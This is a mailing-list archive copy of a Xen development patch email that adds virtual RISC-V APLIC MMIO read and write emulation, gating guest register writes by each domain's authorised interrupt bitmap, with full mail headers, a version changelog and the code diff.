 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 18:02:36 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e4698-2eae-0a2a0a5409dd-0a2a4509cb62-12
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:02:36 +0200
Received: from [209.85.128.47] (helo=mail-wm1-f47.google.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e469c-be1a-0a2a45090019-d155802fb065-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:02:36 +0200
Received: by mail-wm1-f47.google.com with SMTP id
 5b1f17b1804b1-4954d29264cso13155345e9.2
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 09:02:36 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-49563eee22esm31331765e9.1.2026.07.20.09.02.33
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 20 Jul 2026 09:02:34 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784563356; x=1785168156; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=sLZE3oGfTQzGELWS1cNY2z7sEIDuJoIskaYtsyWoDoo=;
        b=qOoI3Pg0a6vI7EOfouhVyRJIZKCxZnX149fXz0M8SVCKUfsqJRIjkTB9DqXybjxali
         syzt1LjIC74x+yYJzc+jEIZSzViEkeRqJyEln35IPg/RmG25ym1S74mzcUm0KyHTlhNi
         +SAcHzI34Lh8X2V+u1A4MKB4OolYwVEl5uKQ93oD1VwfN53W/juJ5+jRRfoCawHLpKU4
         IndF+H+0w4+jczAHWPYyhcuTUAOzXCgoYsp3GZNxdqVk6HKLGKW/fUtM7lmz7eeh7DmZ
         XS65YxehjTEchxWVBfXY3WjKUHkJZ1SU/sC1ZzYuRjKVkP+ILzAUyJ6+9597GBTN91Uf
         PbgA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784563356; x=1785168156;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to:content-type;
        bh=sLZE3oGfTQzGELWS1cNY2z7sEIDuJoIskaYtsyWoDoo=;
        b=bmA7h44cbKo3LN71OdZvH3vGqESqESJdB+PktLyiDf0MDx0ieh+0aNwKwVIRcv3yUe
         4vtpppHkkZbBRtOKRsrf9u8KrpGcbygum2cC9V9uh8M2pBvCIaLXtRVuExzwieKL+oz8
         jQ7UH5ua14TB/n6kUVX0AK5Th2kP1H+WR912QqqNsgt3t/FIobW7vGO1b5/iZiGgLBog
         NlXFx6s3d2Qu2XqtS5Vma56N0/WlD/VNMHy4zhh7tiyooqqvHEqef9oCoBAUIDcOQiCX
         05abck6vi7I68YTKs46bRxBrDdI36DcVt1RWIqLIgKQyy65p1O14YikVJtH6frv/n7zF
         dMLA==
X-Gm-Message-State: AOJu0YzaAkz6dzF63/8EvxPxemCY8r/FeQItTeJLuKhhHsEuekLPqDFd
	KAdwy68Y3QoKiOl3A4RE5WZ5Rmx1tSFVChminYXC6xcYUzXOiNlmzE8kFCOiug==
X-Gm-Gg: AfdE7cnrcoqJi6fJAhuv3andIlUjlJml2Y8AVZ9nIHf6AWIzvA9sxZ/YDFzFASu0URO
	IbLEZ5wspVmFPu2DWQI8NxvixX2YnVQBXRSvYw5eF53EvHDi5rHe2L4ycQal1W8VZ+fzZ+UaRma
	KEzOXhR2oSRpR4m67f3R1eKdamvh1iP6RI7PScrRs2547T9BrRfYX5y1Lvpx5zL2ABWe1opsUmO
	lKG6PppVn1GmG9f7veq6VyBfqmasyYR6mgHtuMp3Oh4TL8e1QVWEh7nWXKDVf9Y2Wfs4dc+C+Gv
	sqmJngeDqdDxerKrfS+iZKmaTqnvNdtJlMjDCyJEeMjkXm+WUXgdVy+J1hv9Hray9x1WO5+Red3
	G9+/BsgLlYNJJ4q7iYVE3dgE1JkOvAsir8RJd0Fr00KwvrPrrif8TIlksWAq+RGcwmrsOB6BNXA
	vWg090sqBDEn/qynvKv+wONHm0Kl8M8kyqHHQV41GOgKTqAl0=
X-Received: by 2002:a05:600c:3b89:b0:495:5d9d:a2dc with SMTP id 5b1f17b1804b1-4955d9da70emr76588915e9.30.1784563355996;
        Mon, 20 Jul 2026 09:02:35 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH v1 05/17] xen/riscv: implement virtual APLIC MMIO emulation
Date: Mon, 20 Jul 2026 18:02:03 +0200
Message-ID: <5571644f1d3a4277dc95fe85099563a145d1d935.1784560663.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1784560663.git.oleksii.kurochko@gmail.com>
References: <cover.1784560663.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-bad1c0/1784563356-BE2C4034-8EEB24B7/10/73395122804
X-purgate-type: spam
X-purgate-size: 22282

Guests running under Xen program interrupt routing by writing to APLIC
MMIO registers. Xen must intercept these accesses to enforce interrupt
isolation between domains and to translate guest routing intent into the
underlying physical MSI topology.

Writes are gated by the domain's authorised interrupt bitmap so that a
guest cannot affect interrupts it does not own. TARGET register writes
additionally require translation of the hart and IMSIC guest-file
indices from virtual to physical, as the APLIC uses these fields
directly to compute the MSI delivery address.

Delegation (APLIC_SOURCECFG_D) is not yet supported.

Co-developed-by: Romain Caritey <Romain.Caritey@microchip.com>
Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
---
Reviewed-by: Baptiste Le Duc <baptiste.le-duc@vates.tech> # vaplic_mmio_{read,write}

The downstream changes related to `vaplic_mmio_{read,write}` were originally
in a separate patch (which was reviewed by Baptiste). However, before
upstreaming, it was decided to merge them into the current patch.
I added `Reviewed-by: Baptiste` in this form for now, but Baptiste will
probably review the remaining changes as well.
Once that happens, I'll simply move the `Reviewed-by` tag up and
remove the `#`.

If it will be easier I can move that changes to separate commit.
---
Changes in v3:
 - Drop ->is_access(), ->emulate_{store,load}() from struct vintc_ops and
   use MMIO framework instead.
 - Rename local variable base_ppn to tppn to not confuse it with base_ppn
   from AIA specification in the correspondent formula.
 - Move aplic_msi_target_gen() from vaplic.c to aplic.c.
 - Extract static aplic_hart_field() helper to compute the combined
   hart + group-index field for the TARGET register.
 - Use MASK_INSR() with APLIC_TARGET_GUEST_IDX_MASK and
   APLIC_TARGET_HART_IDX_MASK instead of open-coded shifts in
   aplic_msi_target_gen().
 - Add APLIC_xMSICFGADDR_PPN_SHIFT, _HHX_MASK, and _HHX_SHIFT macros
   to asm/aplic.h; use them in aplic_hart_field() to extract the group
   index from base_ppn.
 - Move APLIC_TARGET_{HART,GUEST}_IDX_MASK definitions to the preceding
   patch ("add missing APLIC register offsets, masks").
 - xen/arch/riscv/aplic.c:
   - Extend ASSERT() in aplic_hw_read_reg() and aplic_hw_write_reg() to
     also check 4-byte alignment via IS_ALIGNED(offset, sizeof(uint32_t)).
   - Use (volatile void __iomem *)aplic.regs + offset in readl()/writel()
     instead of the uintptr_t cast.
 - xen/arch/riscv/include/asm/aplic.h:
   - Drop unused APLIC_NUM_REGS macro.
   - Rewrite APLIC_SETCLR_OFFSET_MASK as
     (sizeof_field(struct aplic_regs, setip) - sizeof(uint32_t)) and add a
     comment explaining the choice of setip as a representative field.
 - xen/arch/riscv/include/asm/vaplic.h:
   - Change regs_size type from paddr_t to unsigned int.
 - xen/arch/riscv/vaplic.c:
   - s/regindx_to_irqn/regoffset_to_word_idx and add an explanatory comment.
   - s/irqsn/word_idx in generate_auth_mask().
   - Replace pointer-cast bitmap access in generate_auth_mask() with proper
     index arithmetic via first_bit to avoid strict-aliasing violation.
   - Add cf_check to vaplic_emulate_load().
   - s/vcpu/v in vaplic_emulate_load(), vaplic_emulate_store() and
     vaplic_is_access().
   - Fix comment typos: s/start for/start from/, s/substracting/subtracting/,
     drop stray 'of' after 'subtracting' in two comments.
   - AUTH_IRQ_BIT() intentionally uses '<' rather than '<=' when
     comparing irqn against nr_virqs: nr_virqs is a count of virtual IRQs
     and irqn is a 0-based index, so the valid range is
     [0, nr_virqs - 1] and irqn == nr_virqs is already out of bounds.
   - Update handling of 'case APLIC_DOMAINCFG'.
---
Changes in v2:
 - Merge the following patches into one:
    xen/riscv: add vaplic access check:
      - Add check that address is properly aligned.
      - Check vaplic range intead of APLIC one.
      - Return bool from vaplic_is_access instead of int.
    xen/riscv: emulate guest writes to virtual APLIC MMIO
      - Drop CALC_REG_VALUE.
      - Use unsigned int instead of uin32_t for offset.
      - s/.../subtracting in the comment.
      - start one line comments from the upper case.
      - Check the value before being written to sourcecfg register.
      - 'unsigned int' for loop index.
      - Omit unneessary braces.
      - s/vaplic_update_target/aplic_msi_target_gen.
      - Use IMSIC_MMIO_PAGE_SHIFT instead of 12 in aplic_msi_target_gen().
      - Drop explicit usage of APLIC register in store function.
      - Drop APLIC_REG_{GET,SET} macros and introudce APLIC specific funtcions.
      - Ignore write to SOURCECFG_BASE when value is out-of-range.
      - Drop ASSERT(!target_vcpu) inside handler of targer register setting,
        just avoid such writings + debug message.
      - domain_crash() instead of panic() in the case of default case.
      - Drop ASSERT() in APLIC_SOURCE_CFG_BASE case and use domain_crash()
        instead.
    xen/riscv: emulate guest reads from virtual APLIC MMIO:
      - s/regval_to_irqn/regindx_to_irqn.
      - pass to to_vaplic() a domain instead of vintc.
      - add check that load access is aligned.
      - instead of panic() just crash a domain().
      - use 'unsigned int' for local variable offset.
      - Return 0 in the case APLIC_CLRIE_BASE ...APLIC_CLRIE_LAST reading to
        follow AIA spec.
      - Drop explicit usage of physical APLIC registers.
---
---
 xen/arch/riscv/aplic-priv.h         |   2 +
 xen/arch/riscv/aplic.c              |  55 +++++
 xen/arch/riscv/include/asm/aplic.h  |  24 +++
 xen/arch/riscv/include/asm/imsic.h  |  10 +
 xen/arch/riscv/include/asm/vaplic.h |   3 +
 xen/arch/riscv/vaplic.c             | 301 ++++++++++++++++++++++++++++
 6 files changed, 395 insertions(+)

diff --git a/xen/arch/riscv/aplic-priv.h b/xen/arch/riscv/aplic-priv.h
index 1391837f89b9..96bc56dbe585 100644
--- a/xen/arch/riscv/aplic-priv.h
+++ b/xen/arch/riscv/aplic-priv.h
@@ -48,4 +48,6 @@ struct aplic_priv {
  */
 extern unsigned int guest_aplic_num_sources;
 
+uint32_t aplic_msi_target_gen(const struct vcpu *target_vcpu, uint32_t base_val);
+
 #endif /* ASM_RISCV_APLIC_PRIV_H */
diff --git a/xen/arch/riscv/aplic.c b/xen/arch/riscv/aplic.c
index 3681f0669efb..87f2134bc561 100644
--- a/xen/arch/riscv/aplic.c
+++ b/xen/arch/riscv/aplic.c
@@ -16,6 +16,7 @@
 #include <xen/irq.h>
 #include <xen/mm.h>
 #include <xen/sections.h>
+#include <xen/sched.h>
 #include <xen/spinlock.h>
 #include <xen/types.h>
 #include <xen/vmap.h>
@@ -38,6 +39,60 @@ static struct intc_info __ro_after_init aplic_info = {
     .hw_variant = INTC_APLIC,
 };
 
+static unsigned long aplic_hart_field(unsigned long hartid)
+{
+    const struct imsic_config *imsic = imsic_get_config();
+    unsigned int lhxw = imsic->hart_index_bits;
+    unsigned int hhxw = imsic->group_index_bits;
+    unsigned int hhxs =
+        imsic->group_index_shift - APLIC_xMSICFGADDR_PPN_SHIFT * 2;
+    unsigned long tppn =
+        imsic->msi[hartid].base_addr >> APLIC_xMSICFGADDR_PPN_SHIFT;
+    unsigned long group_index =
+        (tppn >> APLIC_xMSICFGADDR_PPN_HHX_SHIFT(hhxs)) &
+        APLIC_xMSICFGADDR_PPN_HHX_MASK(hhxw);
+
+    return (group_index << lhxw) | hartid;
+}
+
+uint32_t aplic_msi_target_gen(const struct vcpu *target_vcpu, uint32_t base_val)
+{
+    unsigned int guest_id = vcpu_guest_file_id(target_vcpu);
+    unsigned long hart_id = cpuid_to_hartid(target_vcpu->processor);
+    unsigned long hart_field = aplic_hart_field(hart_id);
+
+    base_val &= APLIC_TARGET_EIID_MASK;
+    base_val |= MASK_INSR(guest_id, APLIC_TARGET_GUEST_IDX_MASK);
+    base_val |= MASK_INSR(hart_field, APLIC_TARGET_HART_IDX_MASK);
+
+    return base_val;
+}
+
+uint32_t aplic_hw_read_reg(unsigned int offset, uint32_t mask)
+{
+    unsigned long flags;
+    uint32_t val;
+
+    ASSERT((offset < aplic.size) && IS_ALIGNED(offset, sizeof(uint32_t)));
+
+    spin_lock_irqsave(&aplic.lock, flags);
+    val = readl((volatile void __iomem *)aplic.regs + offset) & mask;
+    spin_unlock_irqrestore(&aplic.lock, flags);
+
+    return val;
+}
+
+void aplic_hw_write_reg(unsigned int offset, uint32_t value)
+{
+    unsigned long flags;
+
+    ASSERT((offset < aplic.size) && IS_ALIGNED(offset, sizeof(uint32_t)));
+
+    spin_lock_irqsave(&aplic.lock, flags);
+    writel(value, (volatile void __iomem *)aplic.regs + offset);
+    spin_unlock_irqrestore(&aplic.lock, flags);
+}
+
 static void __init aplic_init_hw_interrupts(void)
 {
     unsigned int i;
diff --git a/xen/arch/riscv/include/asm/aplic.h b/xen/arch/riscv/include/asm/aplic.h
index f22622b9a23f..4ae5fb8f26d1 100644
--- a/xen/arch/riscv/include/asm/aplic.h
+++ b/xen/arch/riscv/include/asm/aplic.h
@@ -28,6 +28,8 @@
 #define APLIC_DOMAINCFG_BE      BIT(0, U)
 
 /* sourcecfg register fields */
+#define APLIC_SOURCECFG_D       BIT(10, U)
+
 #define APLIC_SOURCECFG_SM_INACTIVE     0x0
 #define APLIC_SOURCECFG_SM_DETACH       0x1
 #define APLIC_SOURCECFG_SM_EDGE_RISE    0x4
@@ -38,6 +40,16 @@
 /* target register fields */
 #define APLIC_TARGET_HART_IDX_SHIFT 18
 #define APLIC_TARGET_EIID_MASK      0x7ff
+#define APLIC_TARGET_HART_IDX_MASK  0xfffc0000
+#define APLIC_TARGET_GUEST_IDX_MASK 0x3f000
+
+/* xmsicfgaddr/h register fields */
+#define APLIC_xMSICFGADDR_PPN_SHIFT IMSIC_MMIO_PAGE_SHIFT
+
+#define APLIC_xMSICFGADDR_PPN_HHX_MASK(hhxw) \
+    (BIT(hhxw, UL) - 1)
+#define APLIC_xMSICFGADDR_PPN_HHX_SHIFT(hhxs) \
+    ((hhxs) + APLIC_xMSICFGADDR_PPN_SHIFT)
 
 #define APLIC_DOMAINCFG         0x0000
 #define APLIC_SOURCECFG_BASE    0x0004
@@ -77,6 +89,15 @@
 #define APLIC_SIZE(nr_cpus)     (APLIC_MIN_SIZE + \
                                  APLIC_SIZE_ALIGN(APLIC_IDC_SIZE * (nr_cpus)))
 
+/*
+ * Using setip is fine here, as all SET* and CLR* register groups consist of 32
+ * registers and therefore have identical sizes.
+ *
+ * Lowest 2 bits are always zero for SET* and CLR* registers.
+ */
+#define APLIC_SETCLR_OFFSET_MASK \
+    (sizeof_field(struct aplic_regs, setip) - sizeof(uint32_t))
+
 struct aplic_regs {
     uint32_t domaincfg;         /* 0x0000 */
     uint32_t sourcecfg[1023];   /* 0x0004 */
@@ -120,4 +141,7 @@ struct aplic_regs {
     uint32_t target[1023];      /* 0x3008 */
 };
 
+uint32_t aplic_hw_read_reg(unsigned int offset, uint32_t mask);
+void aplic_hw_write_reg(unsigned int offset, uint32_t value);
+
 #endif /* ASM_RISCV_APLIC_H */
diff --git a/xen/arch/riscv/include/asm/imsic.h b/xen/arch/riscv/include/asm/imsic.h
index e1ec3d03c4e9..612f503b5799 100644
--- a/xen/arch/riscv/include/asm/imsic.h
+++ b/xen/arch/riscv/include/asm/imsic.h
@@ -40,6 +40,16 @@ struct imsic_config {
     /* Base address */
     paddr_t base_addr;
 
+    /*
+     * MSI Target Address Scheme
+     *
+     * XLEN-1                                                12     0
+     * |                                                     |     |
+     * -------------------------------------------------------------
+     * |xxxxxx|Group Index|xxxxxxxxxxx|HART Index|Guest Index|  0  |
+     * -------------------------------------------------------------
+     */
+
     /* Bits representing Guest index, HART index, and Group index */
     unsigned int guest_index_bits;
     unsigned int hart_index_bits;
diff --git a/xen/arch/riscv/include/asm/vaplic.h b/xen/arch/riscv/include/asm/vaplic.h
index 96080bfbc23b..7bf9247f4eae 100644
--- a/xen/arch/riscv/include/asm/vaplic.h
+++ b/xen/arch/riscv/include/asm/vaplic.h
@@ -26,6 +26,9 @@ struct vaplic_regs {
 struct vaplic {
     struct vintc vintc;
     struct vaplic_regs regs;
+
+    paddr_t regs_start;
+    unsigned int regs_size;
 };
 
 int domain_vaplic_init(struct domain *d);
diff --git a/xen/arch/riscv/vaplic.c b/xen/arch/riscv/vaplic.c
index 449240c5cd23..03240730e344 100644
--- a/xen/arch/riscv/vaplic.c
+++ b/xen/arch/riscv/vaplic.c
@@ -17,6 +17,7 @@
 #include <asm/aia.h>
 #include <asm/imsic.h>
 #include <asm/intc.h>
+#include <asm/mmio.h>
 #include <asm/vaplic.h>
 
 #include "aplic-priv.h"
@@ -27,6 +28,256 @@ unsigned int __ro_after_init guest_aplic_num_sources;
 
 #define FDT_VAPLIC_INT_CELLS 2
 
+#define AUTH_IRQ_BIT(d, irqn) ( \
+    ((irqn) < (d)->arch.vintc->nr_virqs) && \
+    test_bit(irqn, (d)->arch.vintc->used_irqs) )
+
+/*
+ * Convert a byte offset (within a SETIP/CLRIP/SETIE/CLRIE register group) to
+ * a 32-bit word index into the allocated_irqs bitmap.  Each word covers 32
+ * interrupt sources.  For SOURCECFG and TARGET groups the same division also
+ * yields the interrupt number directly, because those arrays store one 32-bit
+ * register per source.
+ */
+#define regoffset_to_word_idx(reg_val) ((reg_val) / sizeof(uint32_t))
+
+static inline uint32_t generate_auth_mask(const struct domain *d,
+                                          unsigned int word_idx)
+{
+    unsigned int first_bit = word_idx * sizeof(uint32_t) * BITS_PER_BYTE;
+
+    if ( word_idx >= DIV_ROUND_UP(d->arch.vintc->nr_virqs,
+                                  sizeof(uint32_t) * BITS_PER_BYTE) )
+    {
+        dprintk(XENLOG_DEBUG, "incorrect word_idx(%u) is passed\n", word_idx);
+
+        return 0U;
+    }
+
+    return (uint32_t)(d->arch.vintc->used_irqs[first_bit / BITS_PER_LONG] >>
+                      (first_bit % BITS_PER_LONG));
+}
+
+static int cf_check vaplic_emulate_load(const struct vcpu *v,
+                                        const unsigned long addr,
+                                        uint32_t *out)
+{
+    const struct domain *d = v->domain;
+    const struct vaplic *vaplic = to_vaplic(d);
+    const unsigned int offset = addr & APLIC_REG_OFFSET_MASK;
+    uint32_t auth_mask;
+    unsigned int i;
+
+    switch ( offset )
+    {
+    case APLIC_DOMAINCFG:
+        *out = vaplic->regs.domaincfg;
+
+        return 0;
+
+    case APLIC_SETIPNUM:
+    case APLIC_SETIPNUM_LE:
+    case APLIC_CLRIPNUM:
+    case APLIC_SETIENUM:
+    case APLIC_CLRIENUM:
+    case APLIC_CLRIE_BASE ... APLIC_CLRIE_LAST:
+        /*
+         * Based on the RISC-V AIA spec a read of these registers
+         * always returns zero
+         */
+        *out = 0;
+
+        return 0;
+
+    case APLIC_SETIP_BASE ... APLIC_SETIP_LAST:
+    case APLIC_CLRIP_BASE ... APLIC_CLRIP_LAST:
+    case APLIC_SETIE_BASE ... APLIC_SETIE_LAST:
+        i = regoffset_to_word_idx(offset & APLIC_SETCLR_OFFSET_MASK);
+        auth_mask = generate_auth_mask(d, i);
+
+        break;
+
+    case APLIC_TARGET_BASE ... APLIC_TARGET_LAST:
+        /*
+         * As target registers start from 1:
+         *  0x3000 genmsi
+         *  0x3004 target[1]
+         *  0x3008 target[2]
+         *   ...
+         *  0x3FFC target[1023]
+         * It is necessary to calculate an interrupt number by subtracting
+         * APLIC_GENMSI instead of APLIC_TARGET_BASE.
+         */
+        i = regoffset_to_word_idx(offset - APLIC_GENMSI);
+
+        if ( !AUTH_IRQ_BIT(d, i) )
+        {
+            *out = 0;
+
+            return 0;
+        }
+
+        auth_mask = ~0U;
+
+        break;
+
+    default:
+        gdprintk(XENLOG_WARNING, "Unhandled APLIC read at offset %#x\n",
+                 offset);
+
+        return -EINVAL;
+    }
+
+    *out = aplic_hw_read_reg(offset, auth_mask);
+
+    return 0;
+}
+
+static int cf_check vaplic_emulate_store(const struct vcpu *v,
+                                         unsigned long addr, uint32_t value)
+{
+    int rc = -EINVAL;
+    const struct domain *d = v->domain;
+    unsigned int offset = addr & APLIC_REG_OFFSET_MASK;
+
+    switch ( offset )
+    {
+    case APLIC_SETIP_BASE ... APLIC_SETIP_LAST:
+    case APLIC_CLRIP_BASE ... APLIC_CLRIP_LAST:
+    case APLIC_SETIE_BASE ... APLIC_SETIE_LAST:
+    case APLIC_CLRIE_BASE ... APLIC_CLRIE_LAST:
+    {
+        unsigned int word_idx =
+            regoffset_to_word_idx(offset & APLIC_SETCLR_OFFSET_MASK);
+
+        value &= generate_auth_mask(d, word_idx);
+
+        break;
+    }
+
+    case APLIC_SOURCECFG_BASE ... APLIC_SOURCECFG_LAST:
+        if ( value & APLIC_SOURCECFG_D )
+        {
+            rc = -EOPNOTSUPP;
+
+            dprintk(XENLOG_ERR, "APLIC_SOURCECFG_D isn't supported\n");
+
+            goto fail;
+        }
+
+        /*
+         * As sourcecfg register starts from 1:
+         *   0x0000 domaincfg
+         *   0x0004 sourcecfg[1]
+         *   0x0008 sourcecfg[2]
+         *    ...
+         *   0x0FFC sourcecfg[1023]
+         * It is necessary to calculate an interrupt number by subtracting
+         * APLIC_DOMAINCFG instead of APLIC_SOURCECFG_BASE.
+         */
+        if ( !AUTH_IRQ_BIT(d, regoffset_to_word_idx(offset - APLIC_DOMAINCFG)) )
+            /* Interrupt not enabled, ignore it */
+            return 0;
+
+        if ( value > APLIC_SOURCECFG_SM_LEVEL_LOW )
+        {
+            gdprintk(XENLOG_ERR,
+                     "value(%u) is incorrect for sourcecfg register\n", value);
+
+            return 0;
+        }
+
+        break;
+
+    case APLIC_TARGET_BASE ... APLIC_TARGET_LAST:
+    {
+        struct vcpu *target_vcpu = NULL;
+        unsigned int hart_idx = value >> APLIC_TARGET_HART_IDX_SHIFT;
+
+        /*
+         * Look at vaplic_emulate_load() for explanation why
+         * APLIC_GENMSI is subtracted.
+         */
+        if ( !AUTH_IRQ_BIT(d, regoffset_to_word_idx(offset - APLIC_GENMSI)) )
+            /* Interrupt not enabled, ignore it */
+            return 0;
+
+        if ( hart_idx < v->domain->max_vcpus )
+            target_vcpu = v->domain->vcpu[hart_idx];
+
+        if ( !target_vcpu )
+        {
+            dprintk(XENLOG_ERR, "Invalid vCPU id in target register\n");
+
+            /* Ignore such writings */
+            return 0;
+        }
+
+        value = aplic_msi_target_gen(target_vcpu, value);
+
+        break;
+    }
+
+    case APLIC_SETIPNUM:
+    case APLIC_SETIPNUM_LE:
+    case APLIC_CLRIPNUM:
+    case APLIC_SETIENUM:
+    case APLIC_CLRIENUM:
+        if ( !value || !AUTH_IRQ_BIT(d, value) )
+            return 0;
+
+        break;
+
+    case APLIC_DOMAINCFG:
+    {
+        struct vaplic *vaplic = to_vaplic(v->domain);
+
+        /*
+         * The domaincfg register has this format:
+         * bits 31:24 read-only 0x80
+         * bit 8      IE
+         * bit 7      read-only 0
+         * bit 2      DM (WARL)
+         * bit 0      BE (WARL)
+         *
+         * The most interesting bit for us is IE(Interrupt Enable) bit.
+         * At the moment, at least, Linux doesn't use domaincfg.IE bit to
+         * disable interrupts globally, but if one day someone will use it
+         * then extra actions should be done.
+         *
+         * Only DM (bit 2) and IE (bit 8) are writable here. They are assigned
+         * (not OR-ed) so that a write of 0 can also clear them (WARL), and the
+         * read-only high byte (0x80) is always kept set on read-back.
+         */
+        if ( value & ~(APLIC_DOMAINCFG_RO | APLIC_DOMAINCFG_DM |
+                       APLIC_DOMAINCFG_IE) )
+            printk_once("%s: Ignore writes to non-writable domaincfg bits as "
+                        "they are set by aplic during initialization in Xen\n",
+                        __func__);
+
+        vaplic->regs.domaincfg = APLIC_DOMAINCFG_RO |
+                                 (value & (APLIC_DOMAINCFG_DM |
+                                           APLIC_DOMAINCFG_IE));
+
+        return 0;
+    }
+
+    default:
+        goto fail;
+    }
+
+    aplic_hw_write_reg(offset, value);
+
+    return 0;
+
+ fail:
+    gdprintk(XENLOG_WARNING,
+             "Unhandled APLIC write at offset %#x (value %#x)\n", offset,
+             value);
+
+    return rc;
+}
+
 static int cf_check vaplic_init(struct vcpu *v)
 {
     return vcpu_imsic_init(v);
@@ -105,6 +356,50 @@ static const struct vintc_init_ops __initconstrel init_ops = {
     .make_domu_dt_node = vaplic_make_domu_dt_node,
 };
 
+static enum io_state cf_check vaplic_mmio_read(struct vcpu *v, mmio_info_t *info,
+                                               register_t *r)
+{
+    uint32_t data = 0;
+
+    if ( info->len != sizeof(uint32_t) ||
+         !IS_ALIGNED(info->gpa, sizeof(uint32_t)) )
+    {
+        gdprintk(XENLOG_DEBUG,
+                 "VAPLIC: unaligned/wrong-width read gpa=%"PRIpaddr" len=%u\n",
+                 info->gpa, info->len);
+        return IO_ABORT;
+    }
+
+    if ( vaplic_emulate_load(v, info->gpa, &data) < 0 )
+        return IO_ABORT;
+
+    *r = data;
+    return IO_HANDLED;
+}
+
+static enum io_state cf_check vaplic_mmio_write(struct vcpu *v, mmio_info_t *info,
+                                                register_t r)
+{
+    if ( info->len != sizeof(uint32_t) ||
+         !IS_ALIGNED(info->gpa, sizeof(uint32_t)) )
+    {
+        gdprintk(XENLOG_DEBUG,
+                 "VAPLIC: unaligned/wrong-width write gpa=%"PRIpaddr" len=%u\n",
+                 info->gpa, info->len);
+        return IO_ABORT;
+    }
+
+    if ( vaplic_emulate_store(v, info->gpa, r) < 0 )
+        return IO_ABORT;
+
+    return IO_HANDLED;
+}
+
+static const struct mmio_handler_ops vaplic_mmio_ops = {
+    .read  = vaplic_mmio_read,
+    .write = vaplic_mmio_write,
+};
+
 static const struct vintc_ops vintc_ops = {
     .vcpu_init = vaplic_init,
     .vcpu_deinit = vaplic_deinit,
@@ -132,6 +427,12 @@ int domain_vaplic_init(struct domain *d)
      */
     d->arch.vintc->nr_virqs = guest_aplic_num_sources + 1;
 
+    vaplic->regs_start = GUEST_APLIC_S_BASE;
+    vaplic->regs_size = APLIC_SIZE(d->max_vcpus);
+
+    register_mmio_handler(d, &vaplic_mmio_ops,
+                          vaplic->regs_start, vaplic->regs_size);
+
     return 0;
 }
 
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 16:02:40 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 16:02:40 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367149.1617000 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqS0-0000Zl-Re; Mon, 20 Jul 2026 16:02:40 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367149.1617000; Mon, 20 Jul 2026 16:02:40 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqS0-0000Ya-Iq; Mon, 20 Jul 2026 16:02:40 +0000
Received: by outflank-mailman (input) for mailman id 1367149;
 Mon, 20 Jul 2026 16:02:39 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wlqRz-0000Fd-An
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 16:02:39 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
